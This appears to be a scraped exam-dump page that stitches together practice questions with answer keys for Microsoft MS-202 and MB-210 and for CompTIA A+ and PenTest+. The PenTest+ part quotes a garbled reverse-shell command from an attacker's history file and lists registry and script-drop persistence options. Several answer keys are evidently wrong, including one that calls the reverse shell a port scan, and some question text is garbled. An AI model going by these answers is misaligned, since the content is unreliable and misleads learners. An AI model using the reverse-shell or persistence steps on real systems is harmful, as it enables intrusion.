NOTE: Each correct selection is worth one point.
A. From the Exchange admin center, run an In-place eDiscovery and Hold report.
B. From the Exchange admin center, run a per-mailbox Litigation Hold report.
C. From PowerShell, run the Get-MailboxStatistics cmdlet.
D. From PowerShell, run the Get-Mailbox cmdlet.
Correct Answer: BC

 

QUESTION 8
Your network contains an Active Directory domain named Fabrikam.com. You have a Microsoft Exchange Server 2019
an organization that contains two Mailbox servers. The servers are members of a database availability group (DAG).
You plan to implement an Exchange hybrid deployment.
You are evaluating the use of the Exchange Modern Hybrid connection option during the hybrid deployment.
What are two benefits of using Exchange Modern Hybrid instead of Exchange Classic Hybrid? Each correct answer
presents part of the solutions.
NOTE: Each correct selection is worth one point.
A. uses Organization Configuration Transfer to configure Exchange Online
B. allows federated sharing between the on-premises organization and Exchange Online
C. allows the use of Microsoft Azure Multi-Factor Authentication (MFA) for on-premises users
D. eliminates the need to purchase publicly trusted certificates for communication between the on-premises organization
and Exchange Online
E. preserves mailbox quotas when mailboxes are moved between the on-premises organization and Exchange Online
Correct Answer: AD

 

QUESTION 9
You need to recommend a solution to meet the technical requirements for the managers. What should you recommend
creating for the mailboxes of the managers?
A. a transport agent
B. a separate Exchange server
C. a separate mailbox database
D. an audit policy
Correct Answer: C


QUESTION 10
You have a Microsoft 365 subscription that uses a default domain named contoso.com.
Users report that email messages from a domain named fabrikam.com are identified as spam even though the
messages are legitimate.
You need to prevent messages from fabrikam.com from being identified as spam.
What should you do?
A. Edit the default mail flow rule to bypass the spam filter.
B. Create a new remote domain.
C. Edit a spam filter policy.
D. Create a new malware filter policy.
Correct Answer: C

 

QUESTION 11
Use the drop-down menus to select the answer choice that completes each statement based on the information
presented in the graphic.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure ms-202 exam question q11

Correct Answer:

pass4itsure ms-202 exam question q11-1

 

QUESTION 12
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a Microsoft Exchange server 2019 organization.
You discover that users rarely delete items from their Sent Items folder and their Deleted Items folder.
You need to recommend a solution to automatically reduce the size of the primary mailbox of each user.
Solution: You recommend configuring a retention policy that contains two default policy tags.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B
This would work and it needs no user intervention but it would apply to all folders. Furthermore, you only need one
default tag, not two.

 

QUESTION 13
You have a Microsoft Exchange Server 2019 organization that contains 5,000 mailboxes.
You purchase a Microsoft 365 E5 subscription and create a hybrid deployment. You configure all MX records to point to
Exchange Online.
You purchase 2,000 Microsoft 365 E5 licenses, and you migrate 2,000 mailboxes to Exchange Online. You need to
identify which additional licenses must be purchased. The solution must minimize costs.
Which licenses should you identify?
A. an Exchange Online Protection (EOP) license for each on-premises mailbox
B. Microsoft Office 365 Enterprise E1 licenses for the on-premises users
C. Enterprise Mobility + Security E5 licenses for the Exchange Online users
D. Microsoft Azure Active Directory Premium P2 licenses for all users
Correct Answer: B
References: https://products.office.com/en-gb/business/compare-more-office-365-for-business-plans

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Exam MB-210: Microsoft Dynamics 365 for Sales Customization and Configuration: https://www.microsoft.com/en-us/learning/exam-MB-210.aspx Candidates for this exam are Dynamics 365 functional consultants with sales expertise. Candidates are responsible for implementing solutions that support a sales life cycle to run efficiently and effectively to meet revenue targets, business strategies, and company objectives.

Candidates are responsible for configuring and expanding the core functionality of Leads, Contacts, Accounts, Opportunities and supporting
entities to map to the sales processes in place at the company. They identify opportunities to use PowerApps for mobile applications, Microsoft Flow for application integration, business process flows, and other automation tools to construct an application that supports and accelerates the “lead to cash journey.”

pass4itsure MB-210 exam Skills measured

Perform configuration (40-45%)

  • Configure sales settings
  • Configure processes
  • Create and configure sales visualizations
  • Configure integration with external sales applications

Manage core sales entities (20-25%)

  • Create and manage leads
  • Create and manage opportunities

Manage sales entities (35-40%)

  • Create and manage quotes
  • Create and manage sales order processing
  • Create and manage product and product catalog

Latest Microsoft Dynamics 365 for Sales MB-210 Exam Practice Test Questions and Answers

QUESTION 1
You are a Dynamics 365 for Sales administrator.
The sales team is having difficulty locating related products.
You need to make it easier for the sales team to find groups of products that are similar.
What should you use?
A. Related products
B. Product bundles
C. Product families
D. Product unit groups
Correct Answer: A
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/sales-enterprise/define-related-products-increase-chances-sales

 

QUESTION 2
You manage Dynamics 365 environments for client organizations.
A client suspects they are losing business. The client must be able to capture reasons each time an opportunity is lost.
You need to configure Dynamics 365 to ensure that you can capture the required information.
Which field should you configure?
A. Opportunity status reason
B. Opportunity close status
C. Opportunity status
D. Opportunity close status reason
Correct Answer: A

 

QUESTION 3
You are a salesperson using Dynamics 365 for Sales.
You need to be able to modify the product price on an active invoice that uses current pricing.
What should you do?
A. Set the Invoice Product to Override Price
B. Set an End Date for the Price List to ensure the Price List is expired
C. Set an End Date for the Price List to ensure the Price List is not expired
D. Set the Invoice Product to Use Default
Correct Answer: A

 

QUESTION 4
You manage a Dynamics 365 environment for Sales. You create the following rule items to respond to inbound emails
from potential customers:
Emails that contain the words support or help must create a new high-priority case.
Emails that contain the words buy or purchase must create a warm-lead record. The words buy and purchase are more
important than support or help.
Emails that specifically mention ProductA must always create a hot lead for that product regardless of other words
mentioned.
If none of the targeted words are present in an email, a cold lead must be created.
You need to configure the order in which rule items are processed.
In which order should you run the rule items? To answer, move all actions from the list of actions to the answer area and
arrange them in the correct order.
Select and Place:pass4itsure mb-210 exam question q4

Correct Answer:

pass4itsure mb-210 exam question q4-1

 

QUESTION 5
You have opportunities that have values in multiple currencies. The currency exchange rate automatically updates.
You need to ensure that currency values are accurately reported.
When is the new currency exchange rate applied to the opportunity records?
A. when a change is made to a currency field
B. when a user opens the opportunity record
C. when a user manually recalculates opportunity
D. when the calculate rollup field system job for the msdyn_projectteam entity runs
Correct Answer: A

 

QUESTION 6
The product development team for a toy company creates a new remote-control toy.
You need to create the necessary records and record relationships to sell the product.
Which five records and/or components should you configure in sequence? To answer, move the appropriate records
and/or components from the list of records and components to the answer area and arrange them in the correct order.
NOTE: More than one order of answer choices is correct. You will receive credit for any of the correct orders you select.
Select and Place:pass4itsure mb-210 exam question q6

Correct Answer:

pass4itsure mb-210 exam question q6-1

 

QUESTION 7
You are a Dynamics 365 for Sales administrator. You are setting up a product catalog.
You need to configure the base unit group.
Which quantity or measurement should you configure?
A. the highest needed to sell the product or service
B. the least frequently used to sell the service
C. the most frequently used to sell the service
D. the lowest needed to sell the product or service
Correct Answer: D
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/sales-professional/create-unit-group-add-units

 

QUESTION 8
A company uses Dynamics 365 for Sales.
You create a new quote and associate an opportunity to the quote.
You need to display all your items from the opportunity in the quote.
What should you do?
A. Activate the quote
B. Select Get Products from the command bar in the Quote entity
C. Select Add Line Items on the Opportunity entity
D. Select Recalculate from the command bar on the Opportunity entity
Correct Answer: B

 

QUESTION 9
A customer places an order that includes all of the products from a previous order.
You need to add products from the previous order to the new order.
From which sources can you retrieve the list of products? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure mb-210 exam question q9

Correct Answer:

pass4itsure mb-210 exam question q9-1

 

QUESTION 10
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question, you will NOT be able to return to it. As a result, these questions will not appear in the
review screen.
A company plans to move its headquarters from the United States to Europe.
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Correct Answer: B

 

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You need to change the description field on the quote.
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D. Won
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QUESTION 1
A computer becomes infected with malware, which manages to steal all credentials stored on the PC. The malware then
uses elevated credentials to infect all other PCs at the site. Management asks the IT staff to take action to prevent this
from reoccurring. Which of the following would BEST accomplish this goal?
A. Use an antivirus product capable of performing heuristic analysis
B. Use a host-based intrusion detection system on each computer
C. Disallow the password caching of accounts in the administrator’s group
D. Install a UTM in between PC endpoints to monitor for suspicious traffic
E. Log all failed login attempts to the PCs and report them to a central server
Correct Answer: A

 

QUESTION 2
A technician is installing a private PC in a public workspace. Which of the following password practices should the
technician implement on the PC to secure network access?
A. Remove the guest account from the administrator’s group
B. Disable single sign-on
C. Issue a default strong password for all users
D. Require authentication on wake-up
Correct Answer: D

 

QUESTION 3
A technician is installing Windows 7 64-bit OS on a VM but keeps getting errors. The specifications for the malware are:
Two 1GHz CPUs
2GB of memory
15GB hard drive
800×600 screen resolution
Which of the following should the technician do to resolve the problem?
A. Increase the number of CPUs
B. Increase the amount of memory
C. Increase the amount of hard drive space
D. Increase the screen resolution
Correct Answer: C

 

QUESTION 4
In which of the following file extension types would a user expect to see the command. “net use T:\\server\files\\’?
A. .bat
B. .vbs
C. .js
D. .py
Correct Answer: A

 

QUESTION 5
A user\\’s phone contains customer\\’s PII. The user cannot have the phone automatically wiped because the data is
very valuable. Which of the following is the BEST method of securing the phone?
A. Fingerprint lock
B. Passcode lock
C. Swipe lock
D. PIN lock
Correct Answer: A

 

QUESTION 6
A security team is auditing a company\\’s network logs and notices that a USB drive was previously inserted into several
of the servers. Many login attempts were then successfully performed using common login information. Which of the following actions should be taken to close the vulnerability? (Select two.)
A. Disable guest account
B. Remove admin permissions
C. Modify AutoRun settings
D. Change default credentials
E. Run OS security updates
F. Install a software firewall
Correct Answer: AC

 

QUESTION 7
A network administrator notifies a technician that the company is experiencing a DDoS attack. Several internal Windows
PCs are the source of the traffic. The network administrator gives the technician the Windows computer names and
states they be scanned and cleaned immediately.
With which of the following types of infections are the PCs MOST likely infected? (Select two.)
A. Spyware
B. Zombies
C. Virus
D. Ransomware
E. Worm
F. Botnet
Correct Answer: BE

 

QUESTION 8
Which of the following installation types would require the use of an answer file to install the OS?
A. Unattended
B. Clean
C. Repair
D. Upgrade
Correct Answer: A

 

QUESTION 9
A manager requests remote access to a server after hours and on weekends to check data. The manager insists on
using the server. Before granting the access, which of the following is the MOST important step a technician can take to
protect against possible infection?
A. Create a policy to remove Internet access from the server during off hours
B. Set the local antivirus software on the server to update and scan daily
C. Ensure the server is patched with the latest security updates
D. Educate the manager on safe Internet browsing practices
Correct Answer: C

 

QUESTION 10
A user calls the help desk regarding a new Windows issues that started in the morning. The user can no longer use any
locally attached devices, such as a mouse or a printer, and a reboot did not fix the problem. Which of the following
would MOST likely fix the issue?
A. Roll back updates
B. Disable the Windows Update service
C. Check for updates
D. Restore hidden updates
Correct Answer: A

 

QUESTION 11
A department in an organization set up a proxy server to manage its Internet stage. A technician is configuring the
Windows workstations to use the new proxy server. Which of the following Control Panel utilities should the technician
use to configure the setting?
A. Internet Options ?Advanced
B. Internet Options ?Connections
C. Internet Options ?Security
D. Internet Options ?Content
E. Internet Options ?Privacy
Correct Answer: B

 

QUESTION 12
A user contacts a technician to troubleshoot server errors. The user explains that some files will not open on the server,
the data backups are operational, and the weather has been bad. The technician notices missing time slots in the event
log.
Which of the following should the technician replace to prevent these issues in the future?
A. System memory
B. Surge protector
C. Hard drives
D. Battery backup
Correct Answer: D

 

QUESTION 13
A user\\’s smartphone is making the camera shutter noise even when the user is not taking pictures. When the user
opens the photo album, there are no new pictures. Which of the following steps should be taken FIRST to determine the
cause of the issue?
A. Uninstall the camera application
B. Check the application permissions
C. Reset the phone to factory settings
D. Update all of the applications on the phone
E. Run any pending OS updates
Correct Answer: B

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QUESTION 1
The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on
the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST
likely causes for this difference? (Select TWO) 
A. Storage access 
B. Limited network access 
C. Misconfigured DHCP server 
D. Incorrect credentials 
E. Network access controls 
Correct Answer: AB

QUESTION 2
Click the Exhibit button.

pass4itsure PT0-001 exam question q2A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that
is causing trouble on the network Which of the following types of attacks should the tester stop? 
A. SNMP brute forcing 
B. ARP spoofing 
C. DNS cache poisoning 
D. SMTP relay 
Correct Answer: B

QUESTION 3
A security analyst was provided with a detailed penetration report, which was performed against the organization\\’s
DMZ environment. It was noted in the report that a finding has a CVSS base score of 10.0. Which of the following
levels of difficulty would be required to exploit this vulnerability? 
A. Very difficult; perimeter systems are usually behind a firewall. 
B. Somewhat difficult; would require significant processing power to exploit. 
C. Trivial; little effort is required to exploit this finding. 
D. Impossible; external hosts are hardened to protect against attacks. 
Correct Answer: C 
Reference https://nvd.nist.gov/vuln-metrics/cvss

QUESTION 4
A penetration tester is checking a script to determine why some basic persisting. The expected result was the program
outputting “True.”

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Given the output from the console above, which of the following explains how to correct the errors in the script? (Select
TWO) 
A. Change fi\\’ to \\’Endlf 
B. Remove the \\’let\\’ in front of \\’dest=5+5\\’. 
C. Change the \\’=” to \\’-eq\\’. 
D. Change -Source* and \\’dest\\’ to “Source” and “Saddest” 
E. Change \\’else\\’ to \\’elif. 
Correct Answer: BC

QUESTION 5
A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities,
with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under
such circumstances, which of the following would be the BEST suggestion for the client? 
A. Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation. 
B. Identify the issues that can be remediated most quickly and address them first. 
C. Implement the least impactful of the critical vulnerabilities\\’ remediations first, and then address other critical
vulnerabilities 
D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long time. 
Correct Answer: D

QUESTION 6
A penetration tester successfully exploits a DM2 server that appears to be listening on an outbound port The penetration tester wishes to forward that traffic back to a device Which of the following are the BEST tools to use a few this purpose?
(Select TWO) 
A. Tcpdump 
B. Nmap 
C. Wiresrtark 
D. SSH 
E. Netcat 
F. Cain and Abel 
Correct Answer: DE

QUESTION 7
A penetration tester has successfully deployed an evil twin and is starting to see some victim traffic. The next step the
penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST
meet this goal? 
A. Perform an HTTP downgrade attack. 
B. Harvest the user credentials to decrypt traffic. 
C. Perform a MITM attack. 
D. Implement a CA attack by impersonating trusted CAs. 
Correct Answer: A

QUESTION 8
Which of the following BEST describes some significant security weaknesses with an ICS, such as those used in
electrical utility facilities, natural gas facilities, dams, and nuclear facilities? 
A. ICS vendors are slow to implement adequate security controls. 
B. ICS staff are not adequately trained to perform basic duties. 
C. There is a scarcity of replacement equipment for critical devices. 
D. There is a lack of compliance for ICS facilities. 
Correct Answer: B

QUESTION 9
The following line was found in an exploited machine\\’s history file. An attacker ran the following command: 
bash -i >and /dev/tcp/192.168.0.1/80 0> and1 
Which of the following describes what the command does? 
A. Performs a port scan. 
B. Grabs the web server\\’s banner. 
C. Redirects a TTY to a remote system. 
D. Removes error logs for the supplied IP. 
Correct Answer: A

QUESTION 10
Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO). 
A. Shodan 
B. SET 
C. BeEF 
D. Wireshark 
E. Maltego 
F. Dynamo 
Correct Answer: AE 
References: https://resources.infosecinstitute.com/top-five-open-source-intelligence-osint- tools/#gref

QUESTION 11
A penetration tester has gained access to a marketing employee\\’s device. The penetration tester wants to ensure that
if the access is discovered, control of the device can be regained. Which of the following actions should the penetration
tester use to maintain persistence to the device? (Select TWO.) 
A. Place an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1. 
B. Place an entry in C:\windows\system32\drivers\etc\hosts for 12.17.20.10 badcomptia.com. 
C. Place a script in C:\users\%username\local\appdata\roaming\temp\au57d.ps1. 
D. Create a fake service in Windows called RTAudio to execute manually. 
E. Place an entry for RTAudio in HKLM\CurrentControlSet\Services\RTAudio. 
F. Create a scheduled task to call C:\windows\system32\drivers\etc\hosts. 
Correct Answer: AC

QUESTION 12
Which of the following tools is used to perform a credential brute force attack? 
A. Hydra 
B. John the Ripper 
C. Hashcat 
D. Peach 
Correct Answer: A 
Reference https://www.greycampus.com/blog/information-security/brute-force-attacks- prominent-tools-totackle-such-attacks

QUESTION 13
A penetration tester is preparing to conduct API testing Which of the following would be MOST helpful in preparing for
this engagement? 
A. Nikto 
B. WAR 
C. W3AF 
D. Swagger 
Correct Answer: D

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About the exam

CompTIA PenTest+ assesses the most up-to-date penetration testing, and vulnerability assessment and management skills necessary to determine the resiliency of the network against attacks. Successful candidates will have the intermediate skills required to customize assessment frameworks to effectively collaborate on and report findings. Candidates will also have the best practices to communicate recommended strategies to improve the overall state of IT security.

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After reading the A+ 220-1001 study guide you will understand how to:

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  • Install, configure, and troubleshoot display and multimedia devices.
  • Install, configure, and troubleshoot storage devices.
  • Install, configure, and troubleshoot internal system components.
  • Explain network infrastructure concepts.
  • Configure and troubleshoot network connections.
  • Implement client virtualization.
  • Support and troubleshoot laptops.
  • Support and troubleshoot mobile devices.
  • Support and troubleshoot print devices.

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QUESTION 1
A user wants to print a large job on both the front and back sides of the paper. 
Which of the following settings should the technician advise the user to change in the printer settings? 
A. Collate 
B. Orientation 
C. Duplex 
D. Transparency 
Correct Answer: C


QUESTION 2
A printer stops working in the billing department and cannot be repaired. A new printer has been ordered and a
technician is tasked with allowing other users to print to the billing manager\\’s printer until the new printer arrives. The
manager\\’s printer is currently used via USB connection, and there are no network jacks available for use. 
Which of the following is the BEST way for the technician to allow access to the printer? 
A. Create a share on the manager\\’s computer and give the users rights to the share. 
B. Install the printer on the users\\’ desktops and point it to the IP address of the manager\\’s computer. 
C. Purchase a wireless printer so the users can access the printer via network. 
D. Provide flash drives to the users so they can transfer data to the manager\\’s computer for printing. 
Correct Answer: C


QUESTION 3
During an inspection, it was found that data racks were not properly grounded. To pass the inspection and address a
growing concern to protect data cabling and equipment, a technician must make sure all racks are properly grounded. 
Which of the following tools should the technician use to verify this has been completed? 
A. Multimeter 
B. Cable tester 
C. Tone generator 
D. Voltmeter 
Correct Answer: A


QUESTION 4
A customer wants to purchase a new home computer. The machine will mainly be used for internal browsing and
streaming video, except on weekends when the customers\\’ son will use it to play games with friends. 
Which of the following should the technician focus on to meet these requirements? 
A. 80mm case fans 
B. Four-core processor 
C. RAID 5 array 
D. 16GB DDR2 memory 
E. Dual monitors 
F. Encrypted hard drive 
Correct Answer: B


QUESTION 5
A server needs a RAM upgrade, and a technician has been tasked with retrieving the RAM from storage and then
installing it. 
Whish of the following is the BEST RAM type for the technician to retrieve? 
A. SoDIMM 
B. DDR4 
C. Single channel 
D. ECC 
Correct Answer: B


QUESTION 6
Which of the following cable types should be used to connect a cable modem to a SOHO router? 
A. Thunderbolt 
B. Coaxial 
C. USB 
D. Ethernet 
Correct Answer: D


QUESTION 7
A technician needs to routinely run scripting commands in Linux but does not want to walk over the server room every
time to perform the task. The technician also travels between buildings and has a Windows 10 laptop with 4GB of
memory and a fully partitioned 500GB hard drive. 
Which of the following steps should the technician take to resolve this issue? (Choose two.) 
A. Increase the memory to 8GB. 
B. Install a Linux guest VM. 
C. Add another 500GB hard drive. 
D. Create a Linux LiveBoot CD. 
E. Repartition the hard drive. 
F. Install Linux on a new ext3 partition. 
Correct Answer: EF


QUESTION 8
An end user wants to have a second monitor installed on a laptop. Which of the following would allow a technician to
configure the laptop to show both screens once the cable is connected? 
A. Plug an external monitor into the USB port. 
B. Use the Fn and function key combination 
C. Adjust the monitor display settings. 
D. Enable DisplayPort. 
Correct Answer: C


QUESTION 9
A business owner wants to provide security to laptop users with the ability to charge their devices, access corporate
LAN resources, and allow for a variety of their removable hardware. 
Which of the following devices would BEST meet the owner\\’s needs? 
A. Docking station 
B. Port replicator 
C. Thunderbolt 
D. USB hub 
Correct Answer: A


QUESTION 10
A user reports that printing on heavy cardstock paper results in the image smearing if touched. When printing on plain
paper, the problem does not occur. 
Which of the following would be the NEXT troubleshooting step to perform? 
A. Increase the fuser temperature. 
B. Change the paper feed rate. 
C. Clean the transfer roller. 
D. Replace the toner cartridge. 
Correct Answer: A


QUESTION 11
A technician upgraded the memory on a server from two 8GB sticks to eight 32GB. The server memory is now at full
capacity per the user guide. When the technician powers on the system, only 128 GB of memory is recognized by the
OS and the BIOS. The technician decides to upgrade to the latest version of the firmware on the system, which does not
help. Next, the technician installs the memory in sets of 64GB at a time. Each individual set of 64GB is fully recognized
by the server. 
Which of the following will not allow the server to recognize all of the memory installed at the same time? 
A. The power supply is not supplying enough power for the memory. 
B. The memory has too many ECC errors and is shutting down 
C. The server is overheating when all of the memory is installed. 
D. The server needs DDR4 memory, and DDR3 is installed. 
Correct Answer: D


QUESTION 12
A user logs on a PC and receives a message stating there is a duplicate IP address on the network. After a system
restart, the user notices the same error. 
Which of the following is the MOST probable cause of the error? 
A. The user is still logged into another device. 
B. The user has set a static IP address. 
C. The user has moved to a different office. 
D. The user has wireless and wired connections. 
Correct Answer: B


QUESTION 13
Which of the following is MOST likely causing the problem? 
A. Airplane mode 
B. Tethering 
C. Disabled hotspot 
D. VPN 
Correct Answer: A

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